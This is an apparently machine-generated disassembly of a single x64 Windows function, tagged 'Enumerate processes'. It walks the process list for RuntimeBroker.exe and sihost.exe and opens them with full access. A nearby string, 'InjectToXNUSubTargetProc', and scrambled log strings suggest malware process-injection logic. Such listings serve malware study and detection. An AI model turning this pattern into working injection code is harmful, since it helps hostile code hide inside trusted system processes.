Function at 0x18000bb90
Capabilities:
Enumerate processes

Disassembly:
push rbp
push rsi
lea rbp, [rsp - 0x228]
sub rsp, 0x328
mov rax, qword [0x1800750b0]
xor rax, rsp
mov qword [rbp + 0x210], rax
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x18000bbea
lea rdx, [rsp + 0x30]
mov rcx, rax
mov dword [rsp + 0x30], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x18000bbf1
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x18000bfb7
mov qword [rsp + 0x350], r14
mov qword [rsp + 0x320], r15
mov qword [rsp + 0x340], rbx
xor r14d, r14d
mov qword [rsp + 0x348], rdi
or r15, 0xffffffffffffffff
nop dword [rax + rax]
lea rdx, str.RuntimeBroker.exe
lea rcx, [rsp + 0x5c]
call fcn.18001a0ec
test eax, eax
jne 0x18000befa
mov ebx, dword [rsp + 0x38]
lea rdx, str.OKAGuXlbfMJtcQuGKBTklnVQnbjGSGTLNtD0WKU02kF40LQViMl3OIsTd2L4PeCgGHeQ
lea ecx, [rax + 4]
call fcn.1800124b0
mov r8d, ebx
xor edx, edx
mov ecx, 0x2000000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x18000bede
lea rdx, str.F5GZW1uEkSerABTH6KFRlVrRRd1eEuvMgYqlLBQmbRafggXzIFp_rFL0
mov ecx, 4
call fcn.1800124b0
lea rdx, str.BGPo3za2yDHeculpXdJu9RdbMxHstbu3FVicEKiJILOGTWeWHGs5UII820E05vKsx6R21iLsg
mov r9, rdi
mov r8d, ebx
mov ecx, 4
call fcn.1800124b0
xor eax, eax
lea rdx, [rbp + 0x188]
lea rcx, [0x180076ae8]
lea r8d, [rax + 0x10]
mov dword [rsp + 0x20], r14d
mov word [rbp + 0x188], r14w
mov qword [rbp + 0x18a], rax
mov qword [rbp + 0x192], rax
mov qword [rbp + 0x19a], rax
mov dword [rbp + 0x1a2], eax
mov word [rbp + 0x1a6], ax
call fcn.180013600
xor eax, eax
lea rdx, [rbp + 0x170]
lea rcx, [0x180076ac0]
lea r8d, [rax + 0x13]
mov byte [rbp + 0x170], r14b
mov qword [rbp + 0x171], rax
mov qword [rbp + 0x179], rax
mov word [rbp + 0x181], ax
call fcn.180013400
mov rax, qword [0x18007f9a8]
test rax, rax
jne 0x18000bd5b
lea rcx, [rbp + 0x188]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [rbp + 0x170]
mov rcx, rax
call fcn.180014460
mov qword [0x18007f9a8], rax
test rax, rax
jne 0x18000bd5b
lea r8, str.InjectToXNUSubTargetProc
lea rdx, str.eox4iGP2NZPBBxrLY2pSQnvVZSXbpCGSkTXWlV4H59LwEk0zKqa9huHozHmziGKsz0
xor ecx, ecx
call fcn.1800124b0
jmp 0x18000bf73
lea rdx, [rsp + 0x20]
xor r8d, r8d
mov rcx, rdi
call rax
cmp eax, 0x7a
je 0x18000bd83
lea rdx, str.4EVQFoA41lEM7ZO5xmiUkAyLIagYc8EGRly_ZO1tYrM82hWlKvELeO4eCXX_XXlsVvREr35FMVO8PGw
mov r8d, eax
xor ecx, ecx
call fcn.1800124b0
jmp 0x18000bf73
mov ecx, dword [rsp + 0x20]
add rcx, rcx
add rcx, 1
cmovb rcx, r15
call fcn.18001b274
mov rbx, rax
test rax, rax
jne 0x18000bdb2
lea rdx, str.vGCIXpKeLKO3UUz4bG0mqikm45dERbtzF_5mRzBaheRfdVJNO2ptkFVj5Vzh84o5UjIJ49B
xor ecx, ecx
call fcn.1800124b0
jmp 0x18000bf73
lea rdx, [rsp + 0x20]
mov r8, rax
mov rcx, rdi
call qword [0x18007f9a8]
test eax, eax
je 0x18000bdda
lea rdx, str.rwiBEy30k1VlgIftaffMOd5CoQ4wHUq7amKFXmTgDyYi2DuGsNCfPNy8jVTKRSpkTWuRlbWcdcJw9P9WkkcGdTY
mov r8d, eax
xor ecx, ecx
call fcn.1800124b0
jmp 0x18000bdee
lea rdx, str.m9sNuivtEFojqodv_gw6G7QVW_kb8cxVSQuqachoUFZ0Hn0RorMszKN
mov r8, rbx
mov ecx, 4
call fcn.1800124b0
xor eax, eax
lea rdx, [rbp + 0x1d8]
lea rcx, [0x180076a88]
lea r8d, [rax + 0x19]
mov word [rbp + 0x1d8], r14w
mov qword [rbp + 0x1da], rax
mov qword [rbp + 0x1e2], rax
mov qword [rbp + 0x1ea], rax
mov qword [rbp + 0x1f2], rax
mov qword [rbp + 0x1fa], rax
mov qword [rbp + 0x202], rax
call fcn.180013600
xor eax, eax
lea rdx, [rbp + 0x1a8]
lea rcx, [0x180076a00]
lea r8d, [rax + 0x17]
mov word [rbp + 0x1a8], r14w
mov qword [rbp + 0x1aa], rax
mov qword [rbp + 0x1b2], rax
mov qword [rbp + 0x1ba], rax
mov qword [rbp + 0x1c2], rax
mov qword [rbp + 0x1ca], rax
mov dword [rbp + 0x1d2], eax
call fcn.180013600
lea rdx, [rbp + 0x1d8]
mov r8d, 0x18
mov rcx, rbx
call fcn.18001b0c4
test eax, eax
je 0x18000beb5
lea rdx, [rbp + 0x1a8]
mov r8d, 0x16
mov rcx, rbx
call fcn.18001b0c4
test eax, eax
jne 0x18000bece
lea rdx, str.iNpSSlfJAfdrgyDeGTEdsUd3djWT3QLdiC15ShOr0WRliqVkVF_00sWVBGZf9pWNS_2cRSj6Y3_dhr2sXeUxd_MPixGgwferOEthVdte6okyCjfE1T015_MLFUR2no
mov ecx, 4
call fcn.1800124b0
mov rcx, rdi
call fcn.18000b550
mov rcx, rbx
call fcn.18001aa84
mov rcx, rdi
jmp 0x18000bf6d
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.dGBtF3Mmi7EuVJl_rag6tbdfZtFcSkkKlW7oBTfyrpnjSY6hPfnYZezM2EsdaD65hHZ7Vjyl61CU
mov ecx, 4
mov r8d, eax
call fcn.1800124b0
jmp 0x18000bf73
lea rdx, str.sihost.exe
lea rcx, [rsp + 0x5c]
call fcn.18001a0ec
test eax, eax
jne 0x18000bf73
mov edi, dword [rsp + 0x38]
lea rdx, str.U7qLNuDOJv753n82WUPioW4gBH6kn5UIVKKd2L0muXceTN9xcSC8U2mRryY
lea ecx, [rax + 4]
call fcn.1800124b0
mov r8d, edi
xor edx, edx
mov ecx, 0x2000000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x18000bf73
lea rdx, str.NoxaUHXTWmoHpyUJxKdUU7u0VtRzQnBxhufftVPeyaolpShIEgxO1YlqQ
mov ecx, 4
call fcn.1800124b0
lea rdx, str.JoTqUl7cOsf9F7sT4XYt4J6xR1aEhgOYrDtAaqGCS2J6rAAYhMR88Mk5HndQii8O7IzE0GV4A
mov r9, rbx
mov r8d, edi
mov ecx, 4
call fcn.1800124b0
mov rcx, rbx
call fcn.18000b550
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18000bc20
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rsp + 0x320]
mov r14, qword [rsp + 0x350]
mov rdi, qword [rsp + 0x348]
mov rbx, qword [rsp + 0x340]
mov eax, 1
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.18001a000
add rsp, 0x328
pop rsi
pop rbp
ret